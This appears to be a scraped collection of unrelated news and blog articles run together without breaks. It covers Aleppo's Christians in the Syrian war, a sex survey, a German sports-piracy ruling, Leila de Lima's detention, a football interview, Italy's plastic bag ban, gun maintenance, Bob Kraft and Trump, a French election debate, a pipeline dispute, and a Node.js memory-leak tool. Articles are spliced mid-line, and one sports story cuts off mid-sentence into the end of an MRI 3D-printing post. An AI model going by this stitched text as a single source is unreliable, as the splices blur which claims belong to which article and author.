The area of Midan in particular, home to many of Aleppo’s Armenian Christian minority, was a front-line area that saw heavy fighting for many months. It is still the scene of sporadic fighting and shelling today, although a large proportion of its inhabitants have already fled. Some went to Lebanon, others went back to Armenia where they applied for Armenian citizenship and passports, then moved on to settle in Europe or the Arab Gulf — where Syrian passport holders are denied work or residence permits, hence their change of passports.
It is particularly sad and ironic to witness today the Armenians, who fled persecution and sought sanctuary in Aleppo more than a century ago, again being forced to do the same, this time from Aleppo. I doubt very much whether they would have considered doing so under any other circumstances. They have always enjoyed excellent communal relations with the rest of Aleppan society, and were even allowed to set up their own private schools which taught in Armenian — something not allowed for other ethnic groups, most notably the Kurds. The Armenians were guaranteed a place in the Syrian parliament via their own elected representatives.
As for Arab Christians — in other front-line places such as Sliemaniyeh, Siryan and Azizieh — the wealthy among them have fled, mostly to Europe or Lebanon, as have most of Aleppo’s wealthy elites. Those who stayed behind have now irrevocably tied their fate with that of the Syrian regime. Not out of love or loyalty or ideology, but out of fear and necessity. As a Christian friend told me the other day about the rebels, “If they don’t take my life, then they will take my way of life,” and it is easy to see what he means if you take a stroll through his area. Christians in Aleppo, while being for the most part conservative, are nonetheless a lot more open and liberal in their social customs, dress code and general attitude than other inhabitants in the city.
They have enjoyed a large degree of social and religious freedom under the current regime, and it is a freedom they fear they will soon lose. It is this unique identity and way of life that will most likely be the first victim of a rebel victory. With some rebel groups being largely made up of extremist Islamists and al-Qaeda affiliates, it is not such a stretch to deduce that Christians in Syria may suffer the same fate as they did in Iraq. That perception was reinforced recently with the kidnapping of prominent activist Jesuit Priest Father Paolo Dall’Oglio in al-Raqqa by al-Qaeda groups, as well as the disappearance of two Orthodox Christian bishops from Aleppo — Yohanna Ibrahim and Boulos Yazigi — more than four months ago, presumed to be held by foreign jihadists.
Those reasons are exactly why, out of all the areas in Aleppo, one is most likely to find young Christian men taking up arms and manning checkpoints to defend themselves. This is very evident to anyone traveling through Sliemaniyeh’s checkpoints. The young men there are all locals, some even clad with long hair and tattoos. Sometimes, you see them hanging out with their wives or friends in casual conversation, it is clear that they are regarded heroes by their community.
Walking there a couple of weeks ago, my eye caught a sun-weathered khaki-clad young man, AK-47 rifle slung across his back. My mind registered a faint flicker of recognition. “George,” I exclaimed, “is that you? You’ve changed, you're a lot thinner and much more tanned!” He recognized me almost immediately, “You haven’t changed a bit! Although you have a lot less hair on your head!” After exchanging pleasantries, I learnt that George — someone I knew in college — had volunteered for a three-month stint with the “political intelligence” regime apparatus, whose massive building ominously overshadows the whole area.
“We get a crash training course, and they provide us with weapons and ammunition. And best of all, we’re deployed in or near our neighborhoods. The salary is not so great though,” he mused.
“Are you happy doing what you do? Will you extend your contract?” I asked. “No,” he said quite firmly. “I have relatives in Venezuela, I’m getting out of here as soon as I’m done.” His was a typical story, amid all the uncertainty, pressure and fear that he and his community feel, it maybe the wisest option to just cut and run — after all, many tens of thousands have already done so.
But it is not just their home turf that they are protecting, many have also volunteered in the Syrian army or the various pro-regime militias, fighting on many front lines in the city. One such case is the sad story of a young Christian boy named Salim Nahhas, whose siblings I knew quite well. He was only 19 when he died fighting with the regime against the rebels in the Rashdeen area of Aleppo in July 2013.
His family set up a tribute group on Facebook, where heartbreaking messages and photos are posted. But the most remarkable aspect of Nahhas’ story is that most of his family was initially with the uprising and against the regime, some even taking part in protests and later aid work for the displaced. That was before Aleppo was invaded by the rebels in the summer of 2012 and before rebel mortar shells hit Nahhas’ neighborhood, killing some of his friends and neighbors. Since then, many things have changed in Aleppo.
Edward Dark (a pseudonym) is a Syrian resident in Aleppo. On Twitter: @edwardedarkAre you not having an orgasm every time you have sex? You're not alone.
Only 57% of women usually have orgasms when they have sex with a partner, according to new data from Cosmopolitan's Female Orgasm Survey. Now compare that to their partners, who are apparently orgasming 95% of the time, the women say. Notice how far apart those are?
This recent study, which surveyed more than 2,300 women ages 18 to 40, captures what a lot of women are realizing about their orgasms: There are still clear obstacles standing between women and the pleasure they deserve.
Source: Getty
Mechanical issues: Simple as it may sound, many women's orgasm problems can be chalked up to bad mechanics. Fifty percent of women said their partners were almost there but just couldn't quite bring them home. Thirty-eight percent of women claimed there wasn't enough clitoral stimulation, and 35% of women said they weren't getting the right kind of clitoral stimulation.
These stats are unsurprising when you realize how essential the clitoris is in helping a woman achieve orgasm. While percentages are hard to pin down, experts say most women need to have their clitoris stimulated in order to orgasm; and yet the clit remains a mysterious body part. In a 2005 study of 833 undergraduate students, women and men were just as likely to mislabel the clitoris on a diagram.
Having better knowledge of the parts can indeed help the mechanics. A 2014 study from the Journal of Sexual Medicine found that lesbian women orgasm about 75% of the time during sex with a consistent partner. Notice how high that is? The researchers concluded that homosexual women are more comfortable with their bodies and their partners', and thus able to achieve orgasm more easily, as reported by Mic's Erin Brodwin.
Physically, we can also help things along by relaxing: According to the Cosmo survey, 32% of women are getting caught up in their own head and getting focused on how they look in bed.
Source: Getty
Getting the attention we deserve: While 78% of women believed their partners cared about their orgasm, 72% of women still experienced a time when their partner climaxed but made no attempt to help them finish. Ouch.
Leaving a woman high and dry might come from a lack of mechanical understanding, but the orgasm gap also reflects how our cultural views of men's versus women's pleasure. After all, it takes much longer on average for a woman to orgasm (up to 20 or even 40 minutes, some experts say), and yet the standard expectation is that sex ends when a man comes.
That's one reason why, according to Cosmo's survey, up to 67% of women have ever faked an orgasm. "It's partly social; our culture gives more value to behaviors that result in orgasm for men," Indiana University sex researcher Debby Herbenick told Slate.
It's important to remember the responsibility for —and entitlement to — pleasure isn't on one partner, but rather on both. "Chances are, people aren't communicating in bed about what works for them," Michelle Ruiz, senior editor at Cosmopolitan, told Mic.
Source: Getty
It's in our hands: So how are women actually achieving orgasm, if they're not always coming from their partners? Often, it's on their own. The survey found that 39% of women reach most of their orgasms through use of a hand or sex toy.
"Don't just expect someone to magically know how to please you," said Ruiz. "Champion your own orgasm as well! Masturbate and experiment on your own and find out what turns you on, so you can let a partner know. Then, let a partner know."
With more and more toys and tools for women to achieve orgasm hitting the market, and more conversations opening up about where female pleasure actually comes from, there's never been a better time to work towards closing the orgasm gap. After all, if the statistics are right, it's in men's and women's hands.Sky Deutschland has won a copyright infringement case against the operator of live streaming site Stream4u.tv, as well as the provider of the hardware that was used to decrypt a Sky signal. The District Court of Hamburg, Germany, ruled that they must pay €18,000 in damages.
While ‘pirate’ sports streaming sites have been around for over a decade, in recent years rightsholders have taken a more aggressive stance.
The UK Premier League has triggered several police investigations, for example, which have led to the shutdown of several streaming platforms.
In Germany, the local football league (DFL) and Sky Deutschland are involved in a similar battle. The rightsholder and broadcaster feel that unauthorized streaming sites threaten their livelihoods so they’ve initiated legal action in response.
One of the prime targets of these efforts was the streaming portal Stream4u.tv, which was broadcasting sports events without permission. In addition to the site’s operator, a civil lawsuit filed by Sky also targeted the hardware provider that offered the equipment used to decrypt and distribute the streaming signal.
Last week Sky declared a major victory after The District Court of Hamburg ruled that both the site operator and hardware provider are liable for copyright infringement.
Together, both defendants must now pay €18,000 in damages. A clear win for Sky, especially since the streaming portal has been shut down as well.
Aside from the damages, Sky highlights that this is the first time that a third-party intermediary has been held liable for copyright infringement in a case like this. They hope the result will send a strong deterrent message to others.
According to Sky, the ruling effectively means that every technical service provider faces a significant liability risk if they are aware of the illegal use of its services and do not immediately address legitimate complaints.
“The ruling is a warning for all those involved in the illegal distribution of Sky content,” says Thomas Stahn, Director Anti-Piracy & Technology at Sky Deutschland, commenting on the case.
“In contrast to criminal law, every helper is also liable for the full damages suffered by the injured parties – regardless of whether or not it profited from the illegal business,” he adds.
Sky informs TorrentFreak that the Stream4u.tv operator was not present at the court hearings, only the hardware provider. The company could not provide any additional details on the provider but noted that the hardware itself is not illegal.
“The hardware in question was used to receive the Sky broadcast signal and encode it for transmission via the internet. The hardware itself is not illegal in general,” a Sky spokesperson told us.
This isn’t the first victory of its kind for the German division of Sky. As Tarnkappe points out, late last year two people were convicted for their involvement with a sports streaming platform, resulting in a prison sentence for one of them.
Sky Deutschland has several criminal and civil copyright cases pending in Germany, so this isn’t likely to be the last verdict we’ll see against sports streaming sites and services.Two members of the Malaysian Parliament express disappointment over the incident, saying they complied with the 10-day visit notice
Published 6:20 PM, September 19, 2017
MANILA, Philippines – Members of the Association of Southeast Asian Nations Parliamentarians for Human Rights (APHR) were barred from visiting detained Senator Leila de Lima despite having complied with the 10-day visit notice.
Tian Chua and Charles Santiago, APHR delegates from the Malaysian Parliament, expressed disappointment over what happened.
Chua and Santiago, along with fellow APHR members Ifugao Representative Teddy Baguilat Jr and Akbayan Representative Tom Villarin, waited outside the Philippine National Police (PNP) Custodial Center in Camp Crame for an hour but to no avail.
"I and my colleagues are very disappointed that our entry was not granted despite us giving an ample notice before the visit," Chua said.
Santiago said the event bolstered their beliefs that De Lima is "unjustifiably detained" over drug charges, which the senator maintains were fabricated. (READ: De Lima to Duterte, 'blind' followers in drug war: Your time will come)
"Seeking an appointment with a fellow legislator who has now been incarcerated and is in detention is something that we want to do, and not allowing us to visit her actually further affirms our beliefs that she is unjustifiably detained, otherwise the government doesn't have to worry about this," Santiago said.
"Our intention was to come here to express our solidarity with her, and as a fellow legislator in another ASEAN country, we believe that she's innocent and her persecution is part of the intimidation campaign against her, which violates her rights as a legislator," Chua also said.
If the government has nothing to hide, Chua said they should have been allowed to go in and visit the senator. (READ: ASEAN lawmakers: Free De Lima, end EJKs)
"We believe that if the authorities have nothing to hide, and if the authorities are doing things according to the principle of transparency, then we should not be denied from interacting and paying our visit to show our regards to her," he said.
The delegates submitted their request on September 6, more than the required 10-day notice before visiting the senator. Police present failed to give an exact reason for the delay in the issuance of the permit.
Last July, another foreign visitor was also denied entry. Liberal International (LI) president Juli Minoves was prevented from seeing De Lima due to an "administrative excuse." (READ: EU Parliament approves call to free De Lima) – Rappler.comSTEVE McMANAMAN is 45 today. A Scouser who made 364 appearances and scored 66 goals in the red of Liverpool FC. A player who joined the club as a teenage Evertonian and left having won two cups – The FA Cup in 1992 and The League Cup in 1995. In that final in 1995, McManaman was the clear man of the match — scoring two, Liverpool’s star, leading every attack and running the Bolton defence ragged.
It was one of many times that Macca was the man for Liverpool; the creative force, the difference maker, the wizard of the dribble. Sometimes, perhaps too often, Liverpool leaned on him too heavily. Other times though, he was simply magnificent — the best player on the pitch, skipping past challenges, running forever, making and scoring goals out of nothing.
And yet…
Despite all the good times, including eye-popping goals at Highbury, versus Celtic, the carbon copy vs Aston Villa, his career at Anfield was tarnished for many by his departure. He was perceived as a traitor by some — a lad from Liverpool leaving for the money (even though Liverpool offered him a contract not dissimilar to the one he signed at Real Madrid).
It didn’t help that Liverpool, due to the Bosman ruling, received nothing for the services of a player who was capped 37 times by England and went on to win two La Liga titles and two European Cups, being crowned as man of the match in the 2000 final v Valencia for good measure.
Nowadays, players leave on frees all the time, and Liverpool have benefitted from it as much as the next club — see Joel Matip, James Milner, Craig Bellamy, Gary McAllister, Markus Babbel and Robbie Fowler to name but a few.
Then though, it led to confusion, to anger, and reputation-wise it seems to influence views of McManaman to this day. Does he deserve to be remembered better?
We spoke to his former manager ROY EVANS about the man, the player, the departure and the aftermath.
How good was he?
“He was completely different to what we had at the time. The way he could carry the ball out from defence to attack. He could create chances and had a great relationship with Robbie Fowler on and off the pitch. He was one of the top players around, certainly in my team, because week in and week out he produced the goods.”
What was he like to manage personally?
“Macca’s a really steady guy and very sensible. He’s an educated lad and he knows what’s going on. Very simple to manage and was one of the players you could go to to talk about how the game was going and how the team was playing. He was a great asset to my team, that’s for sure.”
How did his departure come about?
“You never really know with these things. We’re all Liverpool lads and sometimes it can feel like the only club in the world, but I had left. I’m not suggesting Macca would have stayed had I stayed, but it would have given me more chance to talk to him.
“I think he’s given a hard time because he left on a free, but that wasn’t Steve’s fault that was the club’s fault for letting him get in that situation. Sometimes in life you go for another challenge and Steve saw Real Madrid as a big challenge for him and he did go there and was immensely successful — winning the Champions League, learning the language quickly and adapting. If you talk to any Spanish fans, certainly Real Madrid fans, I’m sure they’ll have a huge respect for Steve.”
How much was he worth?
“I bought Stan Collymore for £8.5 million, which was a British record fee at the time. So in terms of what Steve gave to the team each week you’d have to say more than that. Obviously, it’s unfortunate that the club weren’t able to recoup any money but you can’t blame Steve for that.”
Would there be as much fuss these days?
“I think at the time people thought if you played for Liverpool then you played there for life, but that’s not always how football works. I think it’s got to the stage now where Liverpool fans have forgiven, if there was anything to forgive — and I’m not sure there is, to be fair — but I’m sure they’re more realistic about what happened.
“We’ve now seen not only Steve leave but loads of players have left Liverpool to go to other clubs. In all honesty, there’s no loyalty in football these days from both sides, the players and the clubs.”
Could it have been handled differently?
“I suppose there’s always different ways of doing things, but it’s the agents who do all the wheeling and dealing and because there was a loophole in the way Bosmans worked he was allowed to go free. It should never have been allowed to get to that point anyway from Liverpool’s point of view, they should have been on top of it.
“As I said, he’s not the only lad ever to leave the club and I think with a lot of these players who have left the club, most fans still have a great respect for them. Michael Owen moved on, Luis Suarez moved on and even Robbie Fowler moved on, but I think with Macca because of the Bosman fans felt a bit short-changed. But they were the rules and you can only really blame the club for that.”
How is that relationship now and after he left?
“My relationship with him is great. He’s a great lad who you could always talk to, had a lot of common sense talking about the game — as you can see, he does a lot on the media side now — but he was always great on and off the pitch.
“Obviously after he left I didn’t speak to him every day but we still had a good relationship and you’re always delighted when you get chance to see him after, I’m fortunate enough to be able to say that about all my players. But Macca is one of my favourite players of all time, certainly during my time as a manager.”
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Follow us on TwitterMILAN (Reuters Life!) - Italy, one of the top users of plastic shopping bags in Europe, is banning them starting January 1, with retailers warning of chaos and many stores braced for the switch.
Italian critics say polyethylene bags use too much oil to produce, take too long to break down, clog drains and easily spread to become eye sores and environmental hazards.
Italians use about 20 billion bags a year — more than 330 per person — or about one-fifth of the total used in Europe, according to Italian environmentalist lobby Legambiente.
Starting on Saturday, retailers are banned from providing shoppers polyethylene bags. They can use bags made of such material as biodegradable plastic, cloth or paper.
Other European countries have tried voluntary schemes to cut plastic bag use, such as promoting reusable cotton bags. In 2002 Ireland imposed a levy on bags of 15 euro cents (20 U.S. cents) that cut use by 90 percent within a week.
“You are talking of a revolution that is already under way,” Legambiente scientific chief Stefano Ciafani said of the shift to biodegradable bags.
Two hundred municipalities out of Italy’s 8,000 have introduced their own plastic bag bans, including the cities of Turin and Venice, Ciafani said.
Many supermarket chains have started using biodegradable bags for shoppers even if not on a nationwide basis, Legambiente says on its website.
LACK OF DETAILS
Legislation on the bag ban was set in December 2006 with an original deadline of January 2010. The halt was delayed because of industry opposition but was pushed through by Environment Minister Stefania Prestigiacomo in a blanket decree last week.
Federdistribuzione, Italy’s retailers association, said the January 1 deadline could lead to “chaos” and poor service for shoppers given lack of detail in the decree, business newspaper Il Sole 24 Ore said this week.
Italy’s rubber and plastics federation estimated the cost of changing over machines to make biodegradable bags was 30,000 euros ($39,440) to 50,000 euros per plant, the paper said.
Shops and shoppers seem prepared. The mid-size Billa supermarket on Milan’s bustling Via Torino is ready with white biodegradable bags costing 10 euro cents, twice the price for existing yellow plastic bags, Billa manager Aldo Vismara said.
“We will have them at the check-out from January 1, 2011, and we will replace the yellow ones,” he said.
On the downside of the shift, Vismara said there was the possibility the white bag could disintegrate in the rain.
Shoppers worried about the strength of the new bags.
“It’s a positive move if the bags are strong enough. The worry is, what happens if they break?” shopper Rosanna said, declining to give her family name.When a student shows up for a carry class with a downright filthy firearm, I can’t help but ask, “What were you thinking?” After all, a carry gun is not for target shooting or casual plinking. It’s a tool that may one day save that student’s life.
I was in Minneapolis last week conducting a series of carry classes with an associate instructor who lives there. Naturally, most of the participants had guns that were clean and properly lubricated. But in one class, a young married couple brought guns that were experiencing one malfunction after another. And these were quality firearms, known for their reliability.
When we inspected them, we found both firearms to be so dirty and dry that I just had to ask the couple when they had last cleaned them. My fellow instructor and I were shocked when they informed us that it had been “a couple of years.” We chided them (politely) for their apathy, and explained the perils of carrying a gun in that condition.
Thankfully, my colleague had brought his field cleaning kit. After checking for damaged magazines, we did a quick disassembly and scrubbing, followed by a touch of gun oil. The guns functioned perfectly for the rest of the session.
Over the years, I have heard a number of excuses for not having a clean and properly lubricated gun, most often that the person with the dirty gun “didn’t have time.” Nonsense; with the right kit, I can do a quick field cleaning in 5 minutes, just as we did for the couple mentioned above.
But perhaps the most bizarre response occurred several years ago, when a guy actually claimed that “the Glock rep told me I should never clean it, because Glocks work better when they’re dirty.” Now, I actually know some senior people at Glock, and when I relayed this particular gentleman’s comment, they practically groaned, and assured me that no actual Glock employee would ever give such absurd advice.
In my classes this past week, several students said that they too had heard people make the same “leave ‘em dirty” claim. Part of the explanation may be that just about every manufacturer of defensive handguns does intensive “torture” testing—firing thousands of rounds without cleaning or oiling in order to find the limits of the gun’s performance under hostile conditions. This makes perfect sense. No manufacturer wants a reputation for unreliability.
But apparently, in the world of the Internet, reading about a gun performing flawlessly, “even after thousands of rounds without cleaning,” gets distorted. Suddenly, what you could do to a gun somehow becomes what you should do to it.
I’ve come to know a lot of shooters over the years, from recreational shooters and hunters to hardcore operators like Navy SEALs and SWAT team members. And virtually all of them agree: “Nobody carries a dirty gun on purpose.”
Now, the truth is that most modern firearms will function pretty well, at least through a couple of magazines, while relatively dirty, or even bone dry. But even serious high-end combat pistols from SIG Sauer, H&K, Glock, and others can experience difficulties if allowed to get very dirty AND become bone dry.
So, why take the chance? If you’re going to carry a firearm for self-defense, make sure it is always “combat ready.” And if you don’t know how to properly clean and lubricate your gun, learn. Now.
Your life could depend on it.
23 Life-Saving Self-Defense Strategies…Click Here To Get Your FREE Guide!Patriots owner Bob Kraft shook hands with players before the start of a preseason game last year.
Tom Brady had a Donald Trump hat inside his locker.
And now Brady’s boss — a man known for stirring up controversy, and winning big — has some glowing words about The Donald.
Bob Kraft, in a statement to the Globe on the eve of the Massachusetts primary, had glowing words for the Republican presidential front-runner. While he stopped short of an official endorsement, he praised Trump as “a very close friend of mine for over two decades.”
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“While I am not comfortable discussing politics publicly, I am very comfortable talking about my friendships with people who happen to be in politics,” Kraft said in a statement.
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Kraft said the two of them “have had a lot of fun together socially, including a very memorable evening in 2005 when I had the privilege of being at his and Melania’s wedding.”
They have worked together on “a number of philanthropic events.”
And Trump has also been there for Kraft in times of need.
“After my wife passed in 2011, he was one of the few people who went out of their way and went above and beyond to assist me through the most difficult time in my life,” Kraft said. “I will always be grateful to him for his thoughtfulness and his continued friendship.”
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Trump has been a frequent guest of Kraft’s in Foxboro, with photos showing him on the field, in the owner’s box, and in the locker room.
Trump also has an intertwined history with the Patriots. He was approached about buying the team in 1988 by the Sullivans, the family that owned the team at the time.
“Donald had his numbers people (accountants) look at the Patriots deal over the weekend,” a source close to Trump told the Globe at the time, “and they told him this is one of the worst financial messes they have ever seen.”
Kraft got involved in the team shortly after.
In several interviews last fall, Trump mentioned to a Globe reporter that he was good friends with Kraft.
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“Call Bob Kraft of the New England Patriots,” he said in October. “He’s a friend of mine.”
Until Monday, the team had for months declined to respond to requests for comment.
Matt Viser can be reached at matt.viser@globe.comThe top candidates in France's presidential election clashed in a TV debate with Emmanuel Macron accusing far-right leader Marine Le Pen of lying and 'twisting the truth' over claims he supports the burkini.
The debate, the first between the five main contenders ahead of a two-round election on April 23 and May 7, could help viewers make up their minds in the election where nearly 40 per cent of voters are still unsure who to vote for.
Opinion polls show Macron and Le Pen pulling away from the pack in an election that has been full of twists and turns, and which is taking place against a backdrop of high unemployment, sluggish growth, a continuing terrorist threat and rows about immigration, integration and racism.
Francois Fillon, Emanuel Macron, Jean-Luc Melenchon, Marine Le Pen and Benoit Hamon before the debate
One of the most heated exchanges came between the two frontrunners when Le Pen accused Macron of being in favour of the burkini, a full-body swimsuit worn by Muslim women that provoked weeks of controversy in France last summer.
He reacted vigorously when Le Pen essentially suggested that her rival isn't really committed to France's secular values and policies.
'I don't need a ventriloquist,' he retorted. 'When I have something to say, I say it clearly.'
Macron, 39, who is running as an independent, retorted: 'You are lying (to voters) by twisting the truth.'
Also in the debate, while setting out her vision of a France which defends its interests 'without being lectured by a supranational body', Le Pen, who has accused Germany of dictating to the rest of Europe, said: 'I have no desire to be Mrs Merkel's deputy'.
The exchange on TF1 television grew feisty when the candidates were asked about migration and Islam.
'I want to put an end to immigration, that's clear,' Le Pen said, before talking about a rise of Islamist fundamentalism in France and saying the security situation in France was 'explosive'.
An attack at Orly airport in Paris on Saturday, when a man known to police as a radicalised Muslim was shot dead after trying to grab a soldier's rifle, has put security back in the spotlight after a series of Islamist attacks have rocked the country.
She also attacked Macron on his foreign policy calling it 'completely empty...we don't know what you want.'
Macron, in turn, rounded on Le Pen for using Islam to divide the French.
Le Pen wants all visible religious symbols worn by people, including Muslim headscarves and Jewish kippahs, banned from public.
He said: 'The trap you are falling into, Madame Le Pen, with your provocations is to divide society.'
Le Pen said France should oppose multiculturalism, but was accused by Macron of making enemies of Muslims in the country
After Britain's Brexit vote and the election of Donald Trump in the United States, markets are nervous about the possibility of a Le Pen victory.
She is pledging to take France out of the euro and wants to hold a referendum on EU membership.
She said she did not want to see France become a 'vague region' of the bloc.
'I don't want to be the vice chancellor of Angela Merkel,' she said, referring to the German leader.
Former frontrunner Fillon, 63, said Le Pen's proposal to ditch the euro and bring back the French franc would cause 'economic and social chaos.'
'You don't leave the euro and the protection afforded by the European Central Bank...for an adventure... that would ruin borrowers and savers alike,' Fillon, who presented himself as the most experienced pair of hands, scolded.
Le Pen accused Fillon of scaremongering.
'That's called Project Fear, Mr Fillon. It was used before Brexit,' said Le Pen, who has pledged a similar referendum on France's EU membership, said.
But Macron, staunchly pro-Europe, noted that 'all those who said Brexit will be wonderful…ran away and hid'.
Francois Fillon shakes hands with left-wing Benoit Hamon during the fiery TV debate tonight
Although Marine Le Pen (pictured) is currently France's most popular politician, she provokes strong emotions and in the second round many voters are expected to vote for 'anyone but Le Pen'
While polls show Macron and Le Pen establishing a clear lead in the first round, Thatcherite candidate Francois Fillon, the one-time front-runner, has fallen back, engulfed by a scandal surrounding the employment of his wife as a parliamentary assistant.
Only the top two candidates go through to the runoff, where polls show Macron edging out Le Pen.
But with so many voters undecided and polls showing the abstention rate could be higher than ever in France, the level of uncertainty remains high.
A high abstention rate could benefit Le Pen as polls consistently show her supporters are the most certain of their vote.
Fillon, accused of paying his wife [and two children] for work they may not have done, has been put under formal investigation, a first for a French presidential candidate.
He said: 'I may have made mistakes. I have defects. Who doesn't? But I have experience.'
But the scandal, which has dominated the campaign for weeks, occupied relatively little time in the debate, with only firebrand leftist Jean-Luc Melenchon going after Fillon and Le Pen, herself the target of several judicial probes.
Macron, a former investment banker who has never run for elected office, came under criticism for private donations made to his campaign.
Socialist candidate Benoit Hamon suggested he could fall under the influence of lobbies in the pharmaceutical, banking or oil industry.
But Macron claimed he was the only candidate who was not funded by public money, saying: 'I pledge to be controlled by no one.'
Macron made a name for himself by criticising sacred cows of the French'social model' such as the 35-hour working week, iron-clad job protection and civil servants' jobs for life.
Francois Fillon (pictured, right, with his British wife Penelope) was the early favourite when he won the conservative primary last year but his popularity has plummeted after a series of scandals about payments made to members of his family
Opinionlab reports that the latest tracking poll has Le Pen on 27 per cent, with Macron on 23 percent and the scandal-hit Francois Fillon on 18 per cent.
The Socialist candidate Benoit Hamon is far behind on 13 percent, with far-Left candidate Jean-Luc Mélenchon on 12 percent.
Only two candidates go through to the second round - on May 7 - and at the moment Macron is seen beating Le Pen in the second round by 60 per cent to 40 per cent.
If Macron's campaign were to come unstuck and Fillon makes it through to the second round he would also beat Le Pen, by 55 percent to 45 percent.
Le Pen has to somehow find a way to appeal to moderate voters if she is not to face the same fate as her father Jean-Marie Le Pen, who made it through to the second round of the presidential elections in 2002 only to be thrashed by Jacques Chirac, who won 82 percent of the votes.
Last week another far-Right candidate, Geert Wilders, failed to make the breakthrough he was predicting in the general election in the Netherlands.
Afterwards the Dutch Prime Minister, Mark Rutte, said the 'wrong kind of populism' had been defeated.Kinder Morgan has appealed again to the country's energy regulator, asking it to set up a process to resolve potential disagreements with provincial or municipal governments over its planned Trans Mountain oil pipeline expansion project.
The request was made Tuesday after the National Energy Board last week rejected a proposal to expedite an earlier appeal to obtain permits from the city of Burnaby in B.C.'s Lower Mainland.
The company claims the lack of permits from the city adds expensive hurdles to the $7.4-billion construction project.
The company also said it is also asking the NEB to set up a process to make an "expedited determination" for such cases in future.
The federal government green-lighted the project in November 2016 and the pipeline expansion would triple the amount of crude oil being carried from Alberta to the West Coast.
It is scheduled to go online in December 2019.B/R via AP Images
Tevin Coleman rushed for 2,036 yards last season, the second-highest total in the nation. Only a handful of people knew that the last 1,200 of them hurt like hell.
Coleman ran with a broken sesamoid bone in his right foot for Indiana's final seven games. He kept running through the mounting pain. He kept running as his quarterbacks and backup running backs |
lot of skull that was attached to the base of the brain that needed to be removed, and it was delicate, time-consuming work.
After the cleanup, there were a few holes in the bottom of the brain. Talented 3D illustrator and artist Cindy Raggo finalized the model and created the finished product.
Printing the Model
The model was printed on an UP! Box (or Afinia H800) printer at 3D Central in Richmond, VA. I printed it at medium-low resolution (.2 mm), so it would print in a reasonably short period of time. At full-size, it still took 49 hours to print!
Conclusion
If you get an MRI, I highly suggest taking the free copy of the data. While the software available is still not quite to the point where it is easy to interpret and use for the average user, in the next few years, I think it will be. The data you have will last a lifetime, and you’ll be glad you saved it.
ANY QUESTIONS?
Need more info? Want to know about the process? Have you tried this method before but got a different result? Shoot me an email at andrew@sinkhacks.com or https://twitter.com/AndrewASink.
Software used:
OsiriX: http://www.osirix-viewer.com/
Blender: https://www.blender.org/
Netfabb: http://www.netfabb.com/
3D Modeling Assistance:
Cindy Raggo : cindy-raggo.squarespace.com
Download: http://www.thingiverse.com/thing:1287025Some might call it censorship. Or perhaps whitewashing.
I prefer to think of it as interpretive governing.
It's the process of ignoring, twisting or otherwise manipulating facts that do not match a politician's particular narrative.
Sort of like what has been going on at the Department of Environmental Protection since Rick Scott was elected governor. It seems former employees and others associated with the department say they were instructed to never use terms such as "global warming'' or "climate change" around the office.
Never mind that Florida might be facing a greater environmental risk than any other state in the nation. If the governor thinks climate change is for eggheads and sissies, then who are we to worry about our homes being swept away by rising sea levels?
Just imagine how cheerful our ancestors might have been if more of our leaders had been willing to spare them from unpleasant details.
Take turn-of-the-century England. Why alarm people with tales of some unknown madman killing street walkers in London's East End? Instead, the folks at Scotland Yard should have pointed out how prostitution was on the decline. Hysteria could have been kept to a minimum if investigators claimed to be looking for Jack the Rascal.
Likewise, Prohibition would have totally worked if the government had just stopped acknowledging bootleggers, speakeasies and Al Capone.
The Black Death? Something going around.
Three Mile Island? A slight spill.
Segregation? A misunderstanding.
Of course, interpretive governing can also go wrong. With the country in an economic tailspin in the 1930s, Herbert Hoover wanted to avoid using words like "crisis" or "panic." Instead, he said the economy was in "a great depression." If only he had called it a "%*#[email protected] depression," he might have kept it out of headlines and book titles.
The truth is, Rick Scott is a master of interpretive governing. When it suits his purposes, he can ignore the Supreme Court, the Cabinet, the Constitution and anything else that gets in the way of his fantasy Florida.
He can fire the state's top law enforcement officer and insist it was a resignation. His Department of Economic Opportunity can botch unemployment payments for months and tell Legislators that everything is just dandy. He can stick his head in the sand on Medicaid expansion and then act shocked when federal funds threaten to dry up.
So, no, you should not be the least bit shocked that Scott's state environmental agency is pulling the equivalent of 10-year-olds covering their ears and stomping their feet. It's the default position for anyone not willing, or able, to debate an issue on its merits.
The governor doesn't want to risk standing up and denouncing climate change, but he also doesn't want scientific solutions to get in the way of his pro-business policies.
So instead, Florida becomes willfully ignorant.
It doesn't impact you today. And it may not impact you next year. But there is a chance, somewhere down the line, that ignoring climate change will matter in Florida.
And some future governor will have to come up with a cheerful euphemism for drowning.This post is the first in the A Node.JS Holiday Season series from the
Identity team at Mozilla, who last month delivered the first beta
release of Persona. To make Persona, we built a collection tools addressing areas ranging from debugging, to localization, to dependency management, and more. This series of posts will share our learnings and tools with the community, tools which are relevant to anyone building a high availability service with Node.JS. We hope you enjoy the series, and look forward to your thoughts and contributions. We’ll start off with a topic about a nitty-gritty Node.js problem: memory leaks. We present node-memwatch – a library to help discover and isolate memory leaks in Node.
Why Bother?
A fair question to ask about tracking down memory leaks is “Why bother?”. Aren’t there always more pressing problems that need to be tackled first? Why not just restart your service from time to time, or throw more RAM at it? In answer to these questions, we would suggest three things:
You may not be worried about your increasing memory footprint, but V8 is. (V8 is the engine that Node runs on.) As leaks grow, V8 becomes increasingly aggressive about garbage collection, slowing your app down. So in Node, memory leaks hurt performance. Leaks can trigger other types of failure. Leaky code can hang on to references to limited resources. You may run out of file descriptors; you may suddenly be unable to open new database connections. Problems of this sort may emerge long before your app runs out of memory and still leave you dead in the water. Finally, sooner or later, your app will crash. And you can bet it will happen right at the moment when you’re getting popular. And then everybody will laugh and say mean things about you on Hacker News and you’ll be sad.
Where’s That Dripping Sound Coming From?
In the plumbing of a complex app, there are various places where leaks can occur. Closures are probably the most well-known and notorious. Because closures maintain references to things in their scope, they are common sources for leaks.
Closure leaks will probably be spotted eventually if somebody’s looking for them, but in Node’s asynchronous world we generate closures all the time in the form of callbacks. If these callbacks are not handled as fast as they are created, memory allocations will build up and code that doesn’t look leaky will act leaky. That’s harder to spot.
Your application could also leak due to a bug in upstream code. You may be able to track down the location in your code from where the leak is emanating, but you might just stare in bewilderment at your perfectly-written code wondering how in the world it can be leaking!
It’s these hard-to-spot leaks that make us want a tool like node-memwatch. Legend has it that months ago, our Lloyd Hilaiel locked himself in a closet for two days, trying to track down a memory leak that became noticeable under heavy load testing. (BTW, look forward to Lloyd’s forthcoming post on load testing.)
After two days of bisecting, he discovered that the culprit was in the Node core: Event listeners in http.ClientRequest were not getting cleaned up. (When this was eventually fixed in Node, the patch consisted of a subtle but crucial two characters.) It was this miserable experience that made Lloyd want to write a tool to help find leaks.
Tools for Finding Leaks
